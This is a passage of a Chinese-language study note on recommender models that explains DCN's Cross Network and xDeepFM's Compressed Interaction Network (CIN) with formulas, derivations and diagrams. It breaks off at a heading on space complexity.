+4. DCN网络: 这个模型也是w&D架构，不过宽度那部分使用了一个Cross Network，这个网络的奇妙之处，就是扩展了FM这种只能显性交叉的二阶的模型， 通过交叉网络能真正的显性的进行特征间的高阶交叉。 具体结构后面还会在复习，毕竟这次的xdeepFM主要是在Cross Network的基础上进行的再升级，这也是为啥说论血缘关系，xdeepFM离DCN更近一些的原因。那么Cross network有啥问题呢？  这个想放在后面的2.4去说了，这样能更好的引出本篇主角来。
+
+通过上面的一个梳理，首先是回忆起了前面这几个模型的发展脉络， 其次差不多也能明白xDeepFM到底再干个什么事情了，或者要解决啥问题了，xDeepFM其实简单的说，依然是研究如何自动的进行特征之间的交叉组合，以让模型学习的更好。 从上面这段梳理中，我们至少要得到3个重要信息：
+
+1. 推荐模型如何有效的学习特征的交叉组合信息是非常重要的， 而原始的人工特征交叉组合不可取，如何让模型自动的学习交叉组合信息就变得非常关键 
+2. 有的模型(FM)可以显性的交叉特征， 但往往没法高阶，只能到二阶
+3. 有的模型(DNN)可以进行高阶的特征交互，但往往是以一种无法解释的方式(隐性高阶交互)，并且是bit-wise的形式，能不能真正的学习到高阶交互其实是个谜。
+4. 有的模型(DCN)探索了显性的高阶交叉特征，但仍然存在一些问题。
+
+所以xDeepFM的改进动机来了： 更有效的高阶显性交叉特征(CIN)，更高的泛化能力(vector-wise)， 显性和隐性高阶特征的组合(CIN+DNN)， 这就是xDeepFM了， 而这里面的关键，就是CIN网络了。在这之前，还是先把准备工作做足。
+
+### Embedding Layer
+这个是为了回顾一下，简单一说，我们拿到的数据往往会有连续型数据和离散型或者叫类别型数据之分。 如果是连续型数据，那个不用多说，一般会归一化或者标准化处理，当然还可能进行一定的非线性化操作，就算处理完了。 而类别型数据，一般需要先LabelEncoder，转成类别型编码，然后再one-hot转成0或者1的编码格式。 比如论文里面的这个例子：
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210504212842660.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+这样的数据往往是高维稀疏的，不利于模型的学习，所以往往在这样数据之后，加一个embedding层，把数据转成低维稠密的向量表示。 关于embedding的原理这里不说了，但这里要注意一个细节，就是如果某个特征每个样本只有一种取值，也就是one-hot里面只有一个地方是1，比如前面3个field。这时候，可以直接拿1所在位置的embedding当做此时类别特征的embedding向量。 但是如果某个特征域每个样本好多种取值，比如interests这个，有好几个1的这种，那么就拿到1所在位置的embedding向量之后**求和**来代表该类别特征的embedding。这样，经过embedding层之后，我们得到的数据成下面这样了：
+$$
+\mathbf{e}=\left[\mathbf{e}_{1}, \mathbf{e}_{2}, \ldots, \mathbf{e}_{m}\right]
+$$
+这个应该比较好理解，$e_i$表示的一个向量，一般是$D$维的(隐向量的维度)， 那么假设$m$表示特征域的个数，那么此时的$\mathbf{e}$是$m\times D$的矩阵。
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210504213606429.png#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+### bit-wise VS vector-wise
+这是特征交互的两种方式，需要了解下，因为论文里面的CIN结构是在vector-wise上完成特征交互的， 这里拿从网上找到的一个例子来解释概念。
+
+假设隐向量的维度是3维， 如果两个特征对应的向量分别是$(a_1, b_1, c_1)$和$(a_2,b_2, c_2)$
+
+1. bit-wise = element-wise
+在进行交互时，交互的形式类似于$f(w_1a_1a_2, w_2b_1b_2,w_3c_1c_2)$，此时我们认为特征交互发生在元素级别上，bit-wise的交互是以bit为最小单元的，也就是向量的每一位上交互，且学习一个$w_i$
+2. vector-wise
+如果特征交互形式类似于$f(w(a_1a_2,b_1b_2,c_1c_2))$， 我们认为特征交互发生在向量级别上，vector-wise交互是以整个向量为最小单元的，向量层级的交互，为交互完的向量学习一个统一的$w$
+
+这个一直没弄明白后者为什么会比前者好，我也在讨论群里问过这个问题，下面是得到的一个伙伴的想法：
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210504214822820.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="image-20210308142624189" style="zoom: 80%;" /> 
+</div>
+
+对于这个问题有想法的伙伴，也欢迎在下面评论，我自己的想法是bit-wise看上面的定义，仿佛是在元素的级别交叉，然后学习权重， 而vector-wise是在向量的级别交叉，然后学习统一权重，bit-wise具体到了元素级别上，虽然可能学习的更加细致，但这样应该会增加过拟合的风险，失去一定的泛化能力，再联想作者在论文里面解释的bit-wise:
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210504215106707.png#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+更觉得这个想法会有一定的合理性，就想我在DNN那里解释这个一样，把细节学的太细，就看不到整体了，佛曰：着相了哈哈。如果再联想下FM的设计初衷，FM是一个vector-wise的模型，它进行了显性的二阶特征交叉，却是embedding级别的交互，这样的好处是有一定的泛化能力到看不见的特征交互。  emmm, 我在后面整理Cross Network问题的时候，突然悟了一下， bit-wise最大的问题其实在于**违背了特征交互的初衷**， 我们本意上其实是让模型学习特征之间的交互，放到embedding的角度，也理应是embedding与embedding的相关作用交互， 但bit-wise已经没有了embedding的概念，以bit为最细粒度进行学习， 这里面既有不同embedding的bit交互，也有同一embedding的bit交互，已经**意识不到Field vector的概念**。 具体可以看Cross Network那里的解释，分析了Cross Network之后，可能会更好理解些。
+
+这个问题最好是先这样理解或者自己思考下，因为xDeepFM的一个挺大的亮点就是保留了FM的这种vector-wise的特征交互模式，也是作者一直强调的，vector-wise应该是要比bit-wise要好的，否则作者就不会强调Cross Network的弊端之一就是bit-wise，而改进的方法就是设计了CIN，用的是vector-wise。
+
+### 高阶隐性特征交互(DNN) VS 高阶显性特征交互(Cross Network)
+#### DNN的隐性高阶交互
+DNN非常擅长学习特征之间的高阶交互信息，但是隐性的，这个比较好理解了，前面也提到过：
+$$
+\begin{array}{c}
+\mathbf{x}^{1}=\sigma\left(\mathbf{W}^{(1)} \mathbf{e}+\mathbf{b}^{1}\right) \\
+\mathbf{x}^{k}=\sigma\left(\mathbf{W}^{(k)} \mathbf{x}^{(k-1)}+\mathbf{b}^{k}\right)
+\end{array}
+$$
+但是问题的话，前面也剖析过了， 简单总结：
+1. DNN 是一种隐性的方式学习特征交互， 但这种交互是不可解释性的， 没法看出究竟是学习了几阶的特征交互
+2. DNN是在bit-wise层级上学习的特征交互， 这个不同于传统的FM的vector-wise
+3. DNN是否能有效的学习高阶特征交互是个迷，其实不知道学习了多少重要的高阶交互，哪些高阶交互会有作用，高阶到了几阶等， 如果用的话，只能靠玄学二字来解释
+
+#### Cross Network的显性高阶交互
+谈到显性高阶交互，这里就必须先分析一下我们大名鼎鼎的DCN网络的Cross Network了， 关于这个模型，我在[AI上推荐 之 Wide&Deep与Deep&Cross模型](https://blog.csdn.net/wuzhongqiang/article/details/109254498)文章中进行了一些剖析，这里再复习的话我又参考了一个大佬的文章，因为再把我之前的拿过来感觉没有啥意思，重新再阅读别人的文章很可能会再get新的点，于是乎还真的学习到了新东西，具体链接放到了下面。 这里我们重温下Cross Network，看看到底啥子叫显性高阶交互。再根据论文看看这样子的交互有啥问题。
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210505200049781.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+这里的输入$x_0$需要提醒下，首先对于离散的特征，需要进行embedding， 对于multi-hot的离散变量， 需要embedding之后再做一个简单的average pooling, 而dense特征，归一化， **然后和embedding的特征拼接到一块作为Cross层和Deep层的输入，也就是Dense特征会在这里进行拼接**。 下面回顾Cross Layer。
+
+Cross的目的是一一种显性、可控且高效的方式，**自动**构造**有限高阶**交叉特征。 具体的公式如下：
+$$
+\boldsymbol{x}_{l+1}=\boldsymbol{x}_{0} \boldsymbol{x}_{l}^{T} \boldsymbol{w}_{l}+\boldsymbol{b}_{l}+\boldsymbol{x}_{l}=f\left(\boldsymbol{x}_{l}, \boldsymbol{w}_{l}, \boldsymbol{b}_{l}\right)+\boldsymbol{x}_{l}
+$$
+其中$\boldsymbol{x}_{l+1}, \boldsymbol{x}_{l}, \boldsymbol{x}_{0} \in \mathbb{R}^{d}$。有图有真相：
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20201026200320611.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+Cross Layer的巧妙之处全部体现在上面的公式，下面放张图是为了更好的理解，这里我们回顾一些细节。
+1. 每层的神经元个数相同，都等于输入$\boldsymbol{x}_0$的维度$d$， 即每层的输入和输出维度是相等的(这个之前没有整理，没注意到)
+2. 残差网络的结构启发，每层的函数$\boldsymbol{f}$拟合的是$\boldsymbol{x}_{l+1}-\boldsymbol{x}_l$的残差，残差网络有很多优点，其中一个是处理梯度消失的问题，可以使得网络更“深”
+
+那么显性交叉到底体会到哪里呢？ 还是拿我之前举的那个例子：假设$\boldsymbol{x}_{0}=\left[\begin{array}{l}x_{0,1} \\ x_{0,2}\end{array}\right]$， 为了讨论各层，先令$\boldsymbol{b}_i=0$， 则
+
+$$
+\boldsymbol{x}_{1}=\boldsymbol{x}_{0} \boldsymbol{x}_{0}^{T} \boldsymbol{w}_{0}+\boldsymbol{x}_{0}=\left[\begin{array}{l}
+x_{0,1} \\
+x_{0,2}
+\end{array}\right]\left[x_{0,1}, x_{0,2}\right]\left[\begin{array}{c}
+w_{0,1} \\
+w_{0,2}
+\end{array}\right]+\left[\begin{array}{l}
+x_{0,1} \\
+x_{0,2}
+\end{array}\right]=\left[\begin{array}{l}
+w_{0,1} x_{0,1}^{2}+w_{0,2} x_{0,1} x_{0,2}+x_{0,1} \\
+w_{0,1} x_{0,2} x_{0,1}+w_{0,2} x_{0,2}^{2}+x_{0,2}
+\end{array}\right] \\
+\begin{aligned}
+\boldsymbol{x}_{2}=& \boldsymbol{x}_{0} \boldsymbol{x}_{1}^{T} \boldsymbol{w}_{1}+\boldsymbol{x}_{1} \\
+=&\left[\begin{array}{l}
+w_{1,1} x_{0,1} x_{1,1}+w_{1,2} x_{0,1} x_{1,2}+x_{1,1} \\
+\left.w_{1,1} x_{0,2} x_{1,1}+w_{1,2} x_{0,2} x_{1,2}+x_{1,2}\right]
+\end{array}\right. \\
+&=\left[\begin{array}{l}
+\left.w_{0,1} w_{1,1} x_{0,1}^{3}+\left(w_{0,2} w_{1,1}+w_{0,1} w_{1,2}\right) x_{0,1}^{2} x_{0,2}+w_{0,2} w_{1,2} x_{0,1} x_{0,2}^{2}+\left(w_{0,1}+w_{1,1}\right) x_{0,1}^{2}+\left(w_{0,2}+w_{1,2}\right) x_{0,1} x_{0,2}+x_{0,1}\right] \\
+\ldots \ldots \ldots .
+\end{array}\right.
+\end{aligned}
+$$
+最后得到$y_{\text {cross }}=\boldsymbol{x}_{2}^{T} * \boldsymbol{w}_{\text {cross }} \in \mathbb{R}$参与到最后的loss计算。 可以看到$\boldsymbol{x}_1$包含了原始特征$x_{0,1},x_{0,2}$从一阶导二阶所有可能叉乘组合， 而$\boldsymbol{x}_2$包含了从一阶导三阶素有可能的叉乘组合， 而**显性特征组合的意思，就是最终的结果可以经过一系列转换，得到类似$W_{i,j}x_ix_j$的形式**， 上面这个可以说是非常明显了吧。
+1. **有限高阶**： 叉乘**阶数由网络深度决定**， 深度$L_c$对应最高$L_c+1$阶的叉乘
+2. **自动叉乘**：Cross输出包含了原始从一阶(本身)到$L_c+1$阶的**所有叉乘组合**， 而模型参数量仅仅随着输入维度**线性增长**：$2\times d\times L_c$
+3. **参数共享**: 不同叉乘项对应的权重不同，但并非每个叉乘组合对应独立的权重，通过参数共享，Cross有效**降低了参数数量**。 并且，使得模型有更强的**泛化性**和**鲁棒性**。例如，如果独立训练权重，当训练集中$x_{i} \neq 0 \wedge x_{j} \neq 0$这个叉乘特征没有出现，对应权重肯定是0，而参数共享不会，类似的，数据集中的一些噪声可以由大部分样本来纠正权重参数的学习
+
+这里有一点很值得留意，前面介绍过，文中将dense特征和embedding特征拼接后作为Cross层和Deep层的共同输入。这对于Deep层是合理的，但我们知道人工交叉特征基本是对原始sparse特征进行叉乘，那为何不直接用原始sparse特征作为Cross的输入呢？联系这里介绍的Cross设计，每层layer的节点数都与Cross的输入维度一致的，**直接使用大规模高维的sparse特征作为输入，会导致极大地增加Cross的参数量**。当然，可以畅想一下，其实直接拿原始sparse特征喂给Cross层，才是论文真正宣称的“省去人工叉乘”的更完美实现，但是现实条件不太允许。所以将高维sparse特征转化为低维的embedding，再喂给Cross，实则是一种**trade-off**的可行选择。
+
+看下DNN与Cross Network的参数量对比: <br><br>初始输入$x_0$维度是$d$, Deep和Cross层数分别为$L_{cross}$和$L_{deep}$，  为便于分析，设Deep每层神经元个数为$m$则两部分参数量：
+$$
+\text { Cross: } d * L_{\text {cross }} * 2 \quad V S \quad \text { Deep: }(d * m+m)+\left(m^{2}+m\right) *\left(L_{\text {deep }}-1\right)
+$$
+可以看到Cross的参数量随$d$增大仅呈“线性增长”！相比于Deep部分，对整体模型的复杂度影响不大，这得益于Cross的特殊网络设计，对于模型在业界落地并实际上线来说，这是一个相当诱人的特点。Deep那部分参数计算其实是第一层单算$m(d+1)$， 接下来的$L-1$层，每层都是$m$， 再加上$b$个个数，所以$m(m+1)$。
+
+好了， Cross的好处啥的都分析完了， 下面得分析点不好的地方了，否则就没法引出这次的主角了。作者直接说：
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210505195118178.png#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+每一层学习到的是$\boldsymbol{x}_0$的标量倍，这是啥意思。 这里有一个理论：
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/202105051955220.png#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+这里作者用数学归纳法进行了证明。
+
+当$k=1$的时候 
+$$
+\begin{aligned}
+\mathbf{x}_{1} &=\mathbf{x}_{0}\left(\mathbf{x}_{0}^{T} \mathbf{w}_{1}\right)+\mathbf{x}_{0} \\
+&=\mathbf{x}_{0}\left(\mathbf{x}_{0}^{T} \mathbf{w}_{1}+1\right) \\
+&=\alpha^{1} \mathbf{x}_{0}
+\end{aligned}
+$$
+这里的$\alpha^{1}=\mathbf{x}_{0}^{T} \mathbf{w}_{1}+1$是$x_0$的一个线性回归， $x_1$是$x_0$的标量倍成立。 假设当$k=i$的时候也成立，那么$k=i+1$的时候：
+$$
+\begin{aligned}
+\mathbf{x}_{i+1} &=\mathbf{x}_{0} \mathbf{x}_{i}^{T} \mathbf{w}_{i+1}+\mathbf{x}_{i} \\
+&=\mathbf{x}_{0}\left(\left(\alpha^{i} \mathbf{x}_{0}\right)^{T} \mathbf{w}_{i+1}\right)+\alpha^{i} \mathbf{x}_{0} \\
+&=\alpha^{i+1} \mathbf{x}_{0}
+\end{aligned}
+$$
+其中$\alpha^{i+1}=\alpha^{i}\left(\mathbf{x}_{0}^{T} \mathbf{w}_{i+1}+1\right)$， 即$x_{i+1}$依然是$x_0$的标量倍。
+
+所以作者认为Cross Network有两个缺点:
+1. 由于每个隐藏层是$x_0$的标量倍，所以CrossNet的输出受到了特定形式的限制
+2. CrossNet的特征交互是bit-wise的方式(这个经过上面举例子应该是显然了)，这种方式embedding向量的各个元素也会互相影响，这样在泛化能力上可能受到限制，并且也**意识不到Field Vector的概念**, **这其实违背了我们特征之间相互交叉的初衷**。因为我们想让模型学习的是特征与特征之间的交互或者是相关性，从embedding的角度，，那么自然的特征与特征之间的交互信息应该是embedding与embedding的交互信息。 但是**bit-wise的交互上，已经意识不到embedding的概念了**。由于最细粒度是bit(embedding的具体元素)，所以这样的交互既包括了不同embedding不同元素之间的交互，也包括了同一embedding不同元素的交互。本质上其实发生了改变。 **这也是作者为啥强调CIN网络是vector-wise的原因**。而FM，恰好是以向量为最细粒度学习相关性。
+
+好了， 如果真正理解了Cross Network，以及上面存在的两个问题，理解xDeepFM的动机就不难了，**xDeepFM的动机，正是将FM的vector-wise的思想引入到了Cross部分**。
+
+下面主角登场了:
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210505201840211.png#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+## xDeepFM模型的理论以及论文细节
+了解了xDeepFM的动机，再强调下xDeepFM的核心，就是提出的一个新的Cross Network(CIN)，这个是基于DCN的Cross Network，但是有上面那几点好处。下面的逻辑打算是这样，首先先整体看下xDeepFM的模型架构，由于我们已经知道了这里其实就是用一个CIN网络代替了DCN的Cross Network，那么这里面除了这个网络，其他的我们都熟悉。 然后我们再重点看看CIN网络到底在干个什么样的事情，然后再看看CIN与FM等有啥关系，最后分析下这个新网络的时间复杂度等问题。
+### xDeepFM的架构剖析
+首先，我们先看下xDeepFM的架构
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/2021050520373226.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+这个网络结构名副其实，依然是采用了W&D架构，DNN负责Deep端，学习特征之间的隐性高阶交互， 而CIN网络负责wide端，学习特征之间的显性高阶交互，这样显隐性高阶交互就在这个模型里面体现的淋漓尽致了。不过这里的线性层单拿出来了。
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210505204057446.png#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+最终的计算公式如下：
+$$
+\hat{y}=\sigma\left(\mathbf{w}_{\text {linear }}^{T} \mathbf{a}+\mathbf{w}_{d n n}^{T} \mathbf{x}_{d n n}^{k}+\mathbf{w}_{\text {cin }}^{T} \mathbf{p}^{+}+b\right)
+$$
+这里的$\mathbf{a}$表示原始的特征，$\mathbf{a}_{dnn}^k$表示的是DNN的输出， $\mathbf{p}^+$表示的是CIN的输出。最终的损失依然是交叉熵损失，这里也是做一个点击率预测的问题：
+$$
+\mathcal{L}=-\frac{1}{N} \sum_{i=1}^{N} y_{i} \log \hat{y}_{i}+\left(1-y_{i}\right) \log \left(1-\hat{y}_{i}\right)
+$$
+最终的目标函数加了正则化:
+$$
+\mathcal{J}=\mathcal{L}+\lambda_{*}\|\Theta\|
+$$
+
+### CIN网络的细节(重头戏）
+这里尝试剖析下本篇论文的主角CIN网络，全称Compressed Interaction Network。这个东西说白了其实也是一个网络，并不是什么高大上的东西，和Cross Network一样，也是一层一层，每一层都是基于一个固定的公式进行的计算，那个公式长这样:
+$$
+\mathbf{X}_{h, *}^{k}=\sum_{i=1}^{H_{k-1}} \sum_{j=1}^{m} \mathbf{W}_{i j}^{k, h}\left(\mathbf{X}_{i, *}^{k-1} \circ \mathbf{X}_{j, *}^{0}\right)
+$$
+ 这个公式第一眼看过来，肯定更是懵逼，这是写的个啥玩意？如果我再把CIN的三个核心图放上来:
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/2021050520530391.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+ 上面其实就是CIN网络的精髓了，也是它具体的运算过程，只不过直接上图的话，会有些抽象，难以理解，也不符合我整理论文的习惯。下面，我们就一一进行剖析， 先从上面这个公式开始。但在这之前，需要先约定一些符号。要不然不知道代表啥意思。
+1. $\mathbf{X}^{0} \in \mathbb{R}^{m \times D}$: 这个就是我们的输入，也就是embedding层的输出，可以理解为各个embedding的堆叠而成的矩阵，假设有$m$个特征，embedding的维度是$D$维，那么这样就得到了这样的矩阵， $m$行$D$列。$\mathbf{X}_{i, *}^{0}=\mathbf{e}_{i}$， 这个表示的是第$i$个特征的embedding向量$e_i$。所以上标在这里表示的是网络的层数，输入可以看做第0层，而下标表示的第几行的embedding向量，这个清楚了。
+2. $\mathbf{X}^{k} \in \mathbb{R}^{H_{k} \times D}$: 这个表示的是CIN网络第$k$层的输出，和上面这个一样，也是一个矩阵，每一行是一个embedding向量，每一列代表一个embedding维度。这里的$H_k$表示的是第$k$层特征的数量，也可以理解为神经元个数。那么显然，这个$\mathbf{X}^{k}$就是$H_k$个$D$为向量堆叠而成的矩阵，维度也显然了。$\mathbf{X}_{h, *}^{k}$代表的就是第$k$层第$h$个特征向量了。
+
+所以上面的那个公式：
+$$
+\mathbf{X}_{h, *}^{k}=\sum_{i=1}^{H_{k-1}} \sum_{j=1}^{m} \mathbf{W}_{i j}^{k, h}\left(\mathbf{X}_{i, *}^{k-1} \circ \mathbf{X}_{j, *}^{0}\right)
+$$
+其实就是计算第$k$层第$h$个特征向量， 这里的$1 \leq h \leq H_{k}, \mathbf{W}^{k, h} \in \mathbb{R}^{H_{k-1} \times m}$是第$h$个特征向量的参数矩阵。 $\circ$表示的哈达玛积，也就是向量之间对应维度元素相乘(不相加了)。$\left\langle a_{1}, a_{2}, a_{3}\right\rangle \circ\left\langle b_{1}, b_{2}, b_{3}\right\rangle=\left\langle a_{1} b_{1}, a_{2} b_{2}, a_{3} b_{3}\right\rangle$。通过这个公式也能看到$\mathbf{X}^k$是通过$\mathbf{X}^{k-1}$和$\mathbf{X}^0$计算得来的，也就是说特征的显性交互阶数会虽然网络层数的加深而增加。
+
+那么这个公式到底表示的啥意思呢？ 是具体怎么计算的呢？我们往前计算一层就知道了，这里令$k=1$，也就是尝试计算第一层里面的第$h$个向量， 那么上面公式就变成了:
+
+$$
+\mathbf{X}_{h, *}^{1}=\sum_{i=1}^{H_{0}} \sum_{j=1}^{m} \mathbf{W}_{i j}^{1, h}\left(\mathbf{X}_{i, *}^{0} \circ \mathbf{X}_{j, *}^{0}\right)
+$$
+这里的$\mathbf{W}^{1, h} \in \mathbb{R}^{H_{0} \times m}$。这个能看懂吗？ 首先这个$\mathbf{W}$矩阵是$H_0$行$m$列， 而前面那两个累加正好也是$H_0$行$m$列的参数。$m$代表的是输入特征的个数， $H_0$代表的是第0层($k-1$层)的神经元的个数， 这个也是$m$。这个应该好理解，输入层就是第0层。所以这其实就是一个$m\times m$的矩阵。那么后面这个运算到底是怎么算的呢？   首先对于第$i$个特征向量， 要依次和其他的$m$个特征向量做哈达玛积操作，当然也乘以对应位置的权重，求和。对于每个$i$特征向量，都重复这样的操作，最终求和得到一个$D$维的向量，这个就是$\mathbf{X}_{h, *}^{1}$。好吧，这么说。我觉得应该也没有啥感觉，画一下就了然了，现在可以先不用管论文里面是怎么说的，先跟着这个思路走，只要理解了这个公式是怎么计算的，论文里面的那三个图就会非常清晰了。灵魂画手:
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210505215026537.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+这就是上面那个公式的具体过程了，图实在是太难看了， 但应该能说明这个详细的过程了。这样只要给定一个$\mathbf{W}^{1,h}$之后，就能算出一个相应的$\mathbf{X}^1_{h,*}$来，这样第一层的$H_1$个神经元按照这样的步骤就能够都计算出来了。 后面的计算过程其实是同理，无非就是输入是前一层的输出以及$\mathbf{X}_0$罢了，而这时候，第一个矩阵特征数就不一定是$m$了，而是一个$H_{k-1}$行$D$列的矩阵了。这里的$\mathbf{W}^{k,h}$就是上面写的$H_{k-1}$行$m$列了。
+
+这个过程明白了之后，再看论文后面的内容就相对容易了，首先
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210505215629371.png#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+CIN里面能看到RNN的身影，也就是当前层的隐藏单元的计算要依赖于上一层以及当前的输入层，只不过这里的当前输入每个时间步都是$\mathbf{X}_0$。 同时这里也能看到，CIN的计算是vector-wise级别的，也就是向量之间的哈达玛积的操作，并没有涉及到具体向量里面的位交叉。
+
+下面我们再从CNN的角度去看这个计算过程。其实还是和上面一样的计算过程，只不过是换了个角度看而已，所以上面那个只要能理解，下面CNN也容易理解了。首先，这里引入了一个tensor张量$\mathbf{Z}^{k+1}$表示的是$\mathbf{X}^k$和$\mathbf{X}^0$的外积，那么这个东西是啥呢？ 上面加权求和前的那个矩阵，是一个三维的张量。
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210505221222945.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+这个可以看成是一个三维的图片，$H_{k-1}$高，$m$宽，$D$个通道。而$\mathbf{W}^{k,h}$的大小是$H_{k-1}\times m$的， 这个就相当于一个过滤器，用这个过滤器对输入的图片如果**逐通道进行卷积**，就会最终得到一个$D$维的向量，而这个其实就是$\mathbf{X}^{k}_{h,*}$，也就是一张特征图(每个通道过滤器是共享的)。 第$k$层其实有$H_k$个这样的过滤器，所以最后得到的是一个$H_k\times D$的矩阵。这样，在第$k$个隐藏层，就把了$H_{k-1}\times m\times D$的三维张量通过逐通道卷积的方式，压缩成了一个$H_k\times D$的矩阵($H_k$张特征图)， 这就是第$k$层的输出$\mathbf{X}^k$。 而这也就是“compressed"的由来。这时候再看这两个图就非常舒服了：
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210505222742858.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+通过这样的一个CIN网络，就很容易的实现了特征的显性高阶交互，并且是vector-wise级别的，那么最终的输出层是啥呢？   通过上面的分析，首先我们了解了对于第$k$层输出的某个特征向量，其实是综合了输入里面各个embedding向量显性高阶交互的信息(第$k$层其实学习的输入embedding$k+1$阶交互信息)，这个看第一层那个输出就能看出来。第$k$层的每个特征向量其实都能学习到这样的信息，那么如果把这些向量在从$D$维度上进行加和，也就是$\mathbf{X}^k$，这是个$H_k\times D$的，我们沿着D这个维度加和，又会得到一个$H_k$的向量，公式如下:
+$$
+p_{i}^{k}=\sum_{j=1}^{D} \mathbf{X}_{i, j}^{k}
+$$
+ 每一层，都会得到一个这样的向量，那么把所有的向量拼接到一块，其实就是CIN网络的输出了。之所以，这里要把中间结果都与输出层相连，就是因为CIN与Cross不同的一点是，在第$k$层，CIN只包含$k+1$阶的组合特征，而Cross是能包含从1阶-$k+1$阶的组合特征的，所以为了让模型学习到从1阶到所有阶的组合特征，CIN这里需要把中间层的结果与输出层建立连接。
+
+这也就是第三个图表示的含义:
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210505223705748.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+这样， 就得到了最终CIN的输出$\mathbf{p}^+$了: 
+
+$$
+\mathbf{p}^{+}=\left[\mathbf{p}^{1}, \mathbf{p}^{2}, \ldots, \mathbf{p}^{T}\right] \in \mathbb{R} \sum_{i=1}^{T} H_{i}
+$$
+后面那个维度的意思，就是说每一层是的向量维度是$H_i$维， 最后是所有时间步的维度之和。 CIN网络的计算过程的细节就是这些了。
+
+### CIN网络的其他角度分析
+#### 设计意图分析
+CIN和DCN层的设计动机是相似的，Cross层的input也是前一层与输入层，这么做的原因就是可以实现: **有限高阶交互，自动叉乘和参数共享**。
+
+但是CIN与Cross的有些地方是不一样的:
+1. Cross是bit-wise级别的， 而CIN是vector-wise级别的
+2. 在第$l$层，Cross包含从1阶-$l+1$阶的所有组合特征， 而CIN只包含$l+1$阶的组合特征。 相应的，Cross在输出层输出全部结果， 而CIN在每层都输出中间结果。 而之所以会造成这两者的不同， 就是因为Cross层计算公式中除了与CIN一样包含"上一层与输入层的×乘"外，会再额外加了个"＋输入层"。**这是两种涵盖所有阶特征交互的不同策略，CIN和Cross也可以使用对方的策略**。
+
+#### 时间和空间复杂度分析
+1. 空间复杂度
